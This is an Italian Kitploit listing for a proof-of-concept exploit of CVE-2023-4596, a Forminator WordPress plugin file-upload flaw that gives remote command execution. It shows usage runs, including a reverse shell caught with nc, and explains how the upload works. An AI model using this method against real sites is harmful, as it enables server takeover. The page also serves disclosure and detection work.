Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-4596 — PoC Script per CVE-2023-4596, esecuzione remota di comandi non autenticata tramite caricamento arbitrario di file. | Kitploit
Strumenti/GitHubGitHub/e1a/cve-2023-4596
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHube1a/cve-2023-4596

CVE-2023-4596

PoC Script per CVE-2023-4596, esecuzione remota di comandi non autenticata tramite caricamento arbitrario di file.

Vedi Repository
2451 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-4596

Script PoC per CVE-2023-4596, esecuzione remota di comandi non autenticata tramite caricamento arbitrario di file.

Video del PoC in uso
Template Nuclei
Articolo di notizie
WordFence
NVD Nist

Riepilogo

Una vulnerabilità critica è stata scoperta nel plugin WordPress Forminator, che consente a un attaccante non autorizzato di caricare file arbitrari su un server. Il proof of concept (PoC) iniziale era scritto male, il ricercatore originale ha condiviso alcuni screenshot poco chiari insieme a una richiesta contenente codice non spiegato. Quindi ho scritto uno script Python per semplificare e automatizzare il processo.

La vulnerabilità è causata da un errore nel processo di validazione dei tipi di file. Quando si tenta di caricare un formato di file proibito, come PHP, viene generato un avviso che dice "L'estensione del file caricato non è consentita." Nonostante questa notifica, il file caricato non viene bloccato, ma viene invece caricato con successo e può essere accessibile all'interno della cartella '/wp-content/uploads' del sito. Questa vulnerabilità può portare all'esecuzione remota di codice.

Forminator è attualmente attivo su più di 400.000 siti, e con la semplicità della vulnerabilità, è piuttosto facile ottenere il controllo su qualsiasi sito che esegue Forminator con il caricamento di file abilitato.

Utilizzo

Trova una pagina che esegue Forminator <= 1.24.6 con una funzione di upload sulla pagina. Copia l'URL completo della pagina che sta eseguendo il file upload postdata usando Forminator, se viene specificato solo il dominio verrà generato un errore. Puoi usare interactsh o Burp Collaborator per generare un link, che puoi incollare nel campo selezionato. Dopo un upload riuscito, una richiesta dovrebbe apparire in interactsh o burp entro 5 secondi, indicando che è vulnerabile.


Verificare che un'istanza sia vulnerabile senza causare danni.

root@kitploit:~
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


Input out-of-band link: <input link>

[+] Sending payload to target
[+] Successful file upload!

Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php

[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request

Estrarre la versione per verificare se l'istanza è vulnerabile

root@kitploit:~
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


[+] Vulnerable version found: 1.24.6

Avviare una reverse shell sull'istanza

root@kitploit:~
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


Enter IP address: <input IP>
Enter port: <input port>

[+] Sending payload to target
[+] Successful file upload!

Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php

[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell



user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Come funziona lo script?

Lo script necessita solo di un URL completo di una pagina che utilizza Forminator con il caricamento di file abilitato e di un link interactsh per determinare se l'istanza è vulnerabile. La prima richiesta viene inviata alla pagina per estrarre il forminator_nonce e il form_id, che sono valori diversi per ogni pagina. Dopo aver recuperato questi valori, viene inviata una seconda richiesta che utilizza questi valori estratti e il file PHP viene caricato. Questo file PHP utilizza il link interactsh fornito in precedenza dall'utente e lo aggiunge allo script. Quando la pagina in cui si trova lo script PHP viene visitata, una richiesta apparirà in interactsh mostrando che il sito è vulnerabile. Regex viene utilizzato per dividere l'URL in parti che vengono utilizzate più avanti nella richiesta; viene anche utilizzato per determinare la versione di Forminator che viene stampata quando si usa l'argomento -v. La posizione in cui il file viene caricato dipende dall'anno e dal mese in cui si carica il file. Ecco perché ho usato datetime per determinare il mese e l'anno correnti, che vengono poi utilizzati per inviare la richiesta alla posizione del file caricato. Durante il test della vulnerabilità, stavo usando un singolo nome file, ma dopo aver inviato più file, ho notato che solo il primo file caricato veniva eseguito. Per risolvere questo problema, viene utilizzata una stringa casuale per ogni richiesta.

Errori noti

[-] Impossibile estrarre forminator_nonce
Questo exploit funziona solo quando viene fornito un link della pagina esatta in cui il caricamento di file è abilitato con Forminator. Quando viene fornito un link con solo il dominio o una pagina che non esegue un caricamento di file, produce un errore. Questo perché estrae il forminator_nonce dall'URL fornito e se questa pagina non esegue Forminator o il caricamento di file di Forminator, non può trovare il valore e non può usarlo. Puoi anche verificare cercando la stringa 'forminator-field-post-image-postdata' nel codice sorgente del sito. Un link completo, ad esempio, assomiglia a questo: http://127.0.0.1:8000/?p=7. Puoi trovare il problema completo qui.

Come verificare se si è compromessi

Ho incluso due file (checker.sh e checker.bat) nel repository che controllano la cartella corrente e le sottocartelle per eventuali file con un'estensione bloccata. Quando vengono trovati, verranno visualizzati. Il motivo di questo script è che per ogni mese in cui il plugin è stato installato, viene creata una nuova cartella, il che può richiedere molto lavoro per controllarle manualmente tutte.

Mitigazione

Aggiorna all'ultima versione

Installazione

  1. cd CVE-2023-4596/ && docker-compose up -d
  2. Naviga su http://127.0.0.1:8000
  3. Configura un account wp e scarica il plugin vulnerabile trovato qui
  4. Crea un modulo con postdata o un caricamento di file e pubblicalo su un post
  5. Incolla l'URL completo nel comando ed eseguito.
  6. Enjoy ( /・・)ノ

Dichiarazione di non responsabilità

Lo script fornito è solo a scopo educativo, non sono responsabile delle tue azioni.


Twitter
Realizzato da Finn van der Knaap

Scarica lo strumento